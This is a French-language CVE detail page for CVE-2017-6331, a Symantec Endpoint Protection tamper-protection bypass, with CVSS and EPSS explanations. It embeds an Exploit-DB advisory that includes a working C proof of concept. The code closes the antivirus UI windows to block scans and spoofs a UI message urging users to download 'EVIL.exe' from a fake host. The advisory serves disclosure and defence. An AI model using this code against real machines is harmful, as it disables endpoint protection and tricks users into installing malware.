CVE-2017-6331 : Détail

CVE-2017-6331

7.1
/
Haute
2.2%V4
Local
2017-11-06
23h00 +00:00
2024-09-16
19h15 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Prior to SEP 14 RU1 Symantec Endpoint Protection product can encounter an issue of Tamper-Protection Bypass, which is a type of attack that bypasses the real time protection for the application that is run on servers and clients.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.1 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 3.6 AV:L/AC:L/Au:N/C:N/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 43134

Date de publication : 2017-11-09 23h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : Yes

[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-6331-SYMANTEC-ENDPOINT-PROTECTION-TAMPER-PROTECTION-BYPASS.txt [+] ISR: ApparitionSec Vendor: ======= www.symantec.com Product: =========== Symantec Endpoint Protection v12.1.6 (12.1 RU6 MP5) Symantec 12.1.7004.6500 Vulnerability Type: =================== Tamper-Protection Bypass Denial Of Service / Message Spoof CVE Reference: ============== CVE-2017-6331 SSG16-041 Security Issue: ================ Symantec Endpoint Protection (SEP), does not validate where WinAPI messages comes from (lack of UIPI). Therefore, malware can easily spoof messages to the UI or send WM_SYSCOMMAND to close the SEP UI denying end user ability to scan / run the EP AntiVirus protection. Spoofed messages could also potentially inform a user a scan was clean. Unfortunately Symantecs advisory left out details of the Denial Of Service as well as minimizing the amount of text a malware could inject into the UI which would result in compromising the integrity of the Symantec Endpoint Protection Control Panel user interface. References: =========== https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20171106_00 Exploit/POC: ============= 1) Compile below C program, it targets various components of SEP, comment out what you want to send to the UI. 2) Try to open the Symantec Endpoint UI and you will be denied. 3) Or inject attacker supplied messages intructing the user the file is clean etc. #include <windows.h> #include <Tlhelp32.h> #define VICTIM "DevViewer.exe" //By HYP3RLINX //ISR: ApparitionSec //Symantec EP Protection - Tamper Protection Bypass Vulnerability //Tested successfully on Symantec 12.1.6 (12.1 RU6 MP5) build 7004 Symantec 12.1.7004.6500 Windows 7 //How: FindWindow / SendMessage Win32 API //Impact: DOS / Integrity Compromised //TO-DO: Get Window text for SavUI.exe and DOS to prevent AV scans. void main(void){ while(1){ HWND hWnd = FindWindow( NULL, TEXT("Status - Symantec Endpoint Protection")); if(hWnd!=NULL){ //This injects arbitrary messages to SEP UI. SetWindowText(hWnd, "*** Important Security Update, Visit: http://PWN3D.com/EVIL.exe download and follow instructions. ***"); //This prevents a user from being able to run AV scans and renders SEP UI useless //SendMessage(hWnd, WM_SYSCOMMAND, SC_CLOSE, 0); } //HWND savUI = FindWindowEx(0, 0, "Symantec Endpoint Protection", 0); HWND x = FindWindow(NULL, TEXT("DevViewer")); if(x!=NULL){ SendMessage(x, WM_SYSCOMMAND, SC_CLOSE, 0); } HWND x2 = FindWindow(NULL, TEXT("DoScan Help")); SendMessage(x2, WM_SYSCOMMAND, SC_CLOSE, 0); HWND x3 = FindWindow(NULL, TEXT("Sylink Drop")); SendMessage(x3, WM_SYSCOMMAND, SC_CLOSE, 0); HWND x4 = FindWindow(NULL, TEXT("Manual Scan started on 7/8/2016")); if(x!=NULL){ SendMessage(x4, WM_SYSCOMMAND, SC_CLOSE, 0); } sleep(1); } } Network Access: =============== Local Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: July 8, 2016 Vendor acknowledged: 7/14/16 Vendor advisory : November 6, 2017 November 10, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Products Mentioned

Configuraton 0

Symantec>>Endpoint_protection >> Version To (excluding) 14.0

Références

https://www.exploit-db.com/exploits/43134/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/101502
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039775
Tags : vdb-entry, x_refsource_SECTRACK
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.